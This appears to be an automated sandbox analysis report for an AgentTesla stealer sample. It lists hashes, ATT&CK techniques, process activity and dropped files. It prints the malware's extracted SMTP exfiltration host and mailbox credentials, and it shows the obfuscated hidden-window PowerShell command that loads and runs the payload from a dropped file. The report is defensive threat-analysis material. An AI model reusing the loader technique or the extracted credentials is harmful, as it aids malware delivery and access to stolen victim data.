agenttesla | 8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749

Analysis

max time kernel
98s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
17/01/2025, 01:27

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General

Target

8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe
Size

675KB
MD5

1fbec4d33c795d74d3fd1af8a82aff53
SHA1

b508f538024b04aa708bfc4d11527ec9c853be92
SHA256

8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749
SHA512

0b92aafb7fb60027af83ad483f043be0e6fa460f546cda31652b6e7d0232bb4b01e612ca86a8bd7b2765d0a8b5f2b72c9512191a87654f3a5b3cf8d3e1036961
SSDEEP

12288:4gkvgwxI9MhaNkrqsn/6DJ8EfnYiYiZh0AzRYb1gbMgfa:4gk1OnNCz/6NrYkuANYhgk

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
162.254.34.31
Port:
587
Username:
[email protected]
Password:
JaR4LTajHPY5
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3228	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
5048	8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	4776	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4776	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3228	powershell.exe
4776	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3896	4776	WerFault.exe	96

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe
3228	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3228	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeIncreaseQuotaPrivilege	3228	powershell.exe
Token: SeSecurityPrivilege	3228	powershell.exe
Token: SeTakeOwnershipPrivilege	3228	powershell.exe
Token: SeLoadDriverPrivilege	3228	powershell.exe
Token: SeSystemProfilePrivilege	3228	powershell.exe
Token: SeSystemtimePrivilege	3228	powershell.exe
Token: SeProfSingleProcessPrivilege	3228	powershell.exe
Token: SeIncBasePriorityPrivilege	3228	powershell.exe
Token: SeCreatePagefilePrivilege	3228	powershell.exe
Token: SeBackupPrivilege	3228	powershell.exe
Token: SeRestorePrivilege	3228	powershell.exe
Token: SeShutdownPrivilege	3228	powershell.exe
Token: SeDebugPrivilege	3228	powershell.exe
Token: SeSystemEnvironmentPrivilege	3228	powershell.exe
Token: SeRemoteShutdownPrivilege	3228	powershell.exe
Token: SeUndockPrivilege	3228	powershell.exe
Token: SeManageVolumePrivilege	3228	powershell.exe
Token: 33	3228	powershell.exe
Token: 34	3228	powershell.exe
Token: 35	3228	powershell.exe
Token: 36	3228	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5048 wrote to memory of 3228	5048	8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe	83
PID 5048 wrote to memory of 3228	5048	8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe	83
PID 5048 wrote to memory of 3228	5048	8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe	83
PID 3228 wrote to memory of 4776	3228	powershell.exe	96
PID 3228 wrote to memory of 4776	3228	powershell.exe	96
PID 3228 wrote to memory of 4776	3228	powershell.exe	96
PID 3228 wrote to memory of 4776	3228	powershell.exe	96

C:\Users\Admin\AppData\Local\Temp\8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe
"C:\Users\Admin\AppData\Local\Temp\8b1a3325abed1a5e86ef9759aa90644c9a46d4baa806a3be057ce8b5c4de7749.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5048
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Unitiveness=gc -raw 'C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Fortegningerne224.Tre';$Sequanian=$Unitiveness.SubString(72268,3);.$Sequanian($Unitiveness) "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3228
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:4776
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4776 -s 1584
      4⤵
      Program crash
      PID:3896

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 4776 -ip 4776
1⤵
PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_r0h1exv4.ekl.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Circumambience.Har

Filesize
311KB

MD5
0cca4b877799abab1d5114219048001f

SHA1
3201ad6c905cde15c2fa33848584f707d8cfcb3d

SHA256
93c1a8b289175a24ac2258f01a7b3455e853e2c490021f28628f90d060170232

SHA512
543d744351cbe79c817585ca205a268c52adbf3fbde7044dc69225c387fc819dba1eb8eed9057fd3cd76844b41809610a9295e6bbbcb9e1d1fbda627f304dfc6

Download Submit
C:\Users\Admin\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\Fortegningerne224.Tre

Filesize
70KB

MD5
1f675f5bd6e6ddb3b80498213ea9a0c7

SHA1
f1996984073ddd59532b87b34b293b1634808db6

SHA256
2b92e75250a7e20263bf8434461b0508af2f704ef7679411b348e90fd64163d0

SHA512
7a9b02eb1cbb65cb661ebe50fe351dd25019761be750702d65034b1ee5e7c0c6d0a7f52226cc3ce55b091987512b194f70fab3c296bae92e847addfcd2501e23

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsz9F3F.tmp\nsExec.dll

Filesize
7KB

MD5
59e487d0a38dce3f6be70d153d7b84a0

SHA1
0c2ca2fb13731c9f5c53d663dd3804a423736c45

SHA256
f19f36b3d8c9f78786eb2dc99d7c7ffbfa1c8236843f139c625a60fde3e6b4c3

SHA512
42c80f25e3e49a3a81ec20104feacfc9652410d50ef90020e61c889fb0e94b0e54e1214c37f205a9f180a56dc569628a62d2bed868ffceb3bb3bbbc842403735

Download Submit
memory/3228-49-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-51-0x0000000007960000-0x000000000796A000-memory.dmp

Filesize
40KB

Download
memory/3228-14-0x0000000005430000-0x0000000005452000-memory.dmp

Filesize
136KB

Download
memory/3228-16-0x0000000005D80000-0x0000000005DE6000-memory.dmp

Filesize
408KB

Download
memory/3228-11-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-15-0x0000000005D10000-0x0000000005D76000-memory.dmp

Filesize
408KB

Download
memory/3228-26-0x0000000005FA0000-0x00000000062F4000-memory.dmp

Filesize
3.3MB

Download
memory/3228-28-0x0000000006430000-0x000000000647C000-memory.dmp

Filesize
304KB

Download
memory/3228-27-0x00000000063F0000-0x000000000640E000-memory.dmp

Filesize
120KB

Download
memory/3228-29-0x0000000006960000-0x00000000069F6000-memory.dmp

Filesize
600KB

Download
memory/3228-30-0x0000000006910000-0x000000000692A000-memory.dmp

Filesize
104KB

Download
memory/3228-31-0x00000000073B0000-0x00000000073D2000-memory.dmp

Filesize
136KB

Download
memory/3228-32-0x0000000007C40000-0x00000000081E4000-memory.dmp

Filesize
5.6MB

Download
memory/3228-12-0x00000000054B0000-0x0000000005AD8000-memory.dmp

Filesize
6.2MB

Download
memory/3228-34-0x0000000008870000-0x0000000008EEA000-memory.dmp

Filesize
6.5MB

Download
memory/3228-35-0x00000000077F0000-0x0000000007822000-memory.dmp

Filesize
200KB

Download
memory/3228-37-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-50-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-10-0x0000000004E40000-0x0000000004E76000-memory.dmp

Filesize
216KB

Download
memory/3228-48-0x0000000007860000-0x0000000007903000-memory.dmp

Filesize
652KB

Download
memory/3228-13-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-36-0x0000000070680000-0x00000000706CC000-memory.dmp

Filesize
304KB

Download
memory/3228-47-0x0000000007830000-0x000000000784E000-memory.dmp

Filesize
120KB

Download
memory/3228-52-0x0000000007AC0000-0x0000000007AD1000-memory.dmp

Filesize
68KB

Download
memory/3228-53-0x0000000007B10000-0x0000000007B1E000-memory.dmp

Filesize
56KB

Download
memory/3228-54-0x0000000007B20000-0x0000000007B34000-memory.dmp

Filesize
80KB

Download
memory/3228-55-0x0000000007B60000-0x0000000007B7A000-memory.dmp

Filesize
104KB

Download
memory/3228-56-0x0000000007B50000-0x0000000007B58000-memory.dmp

Filesize
32KB

Download
memory/3228-57-0x0000000007B70000-0x0000000007B9A000-memory.dmp

Filesize
168KB

Download
memory/3228-58-0x0000000007BB0000-0x0000000007BD4000-memory.dmp

Filesize
144KB

Download
memory/3228-59-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-61-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-9-0x00000000741FE000-0x00000000741FF000-memory.dmp

Filesize
4KB

Download
memory/3228-63-0x00000000741FE000-0x00000000741FF000-memory.dmp

Filesize
4KB

Download
memory/3228-64-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-65-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-67-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-68-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-66-0x0000000008EF0000-0x000000000BFF4000-memory.dmp

Filesize
49.0MB

Download
memory/3228-69-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-71-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/3228-72-0x00000000741F0000-0x00000000749A0000-memory.dmp

Filesize
7.7MB

Download
memory/4776-73-0x0000000000A00000-0x0000000001C54000-memory.dmp

Filesize
18.3MB

Download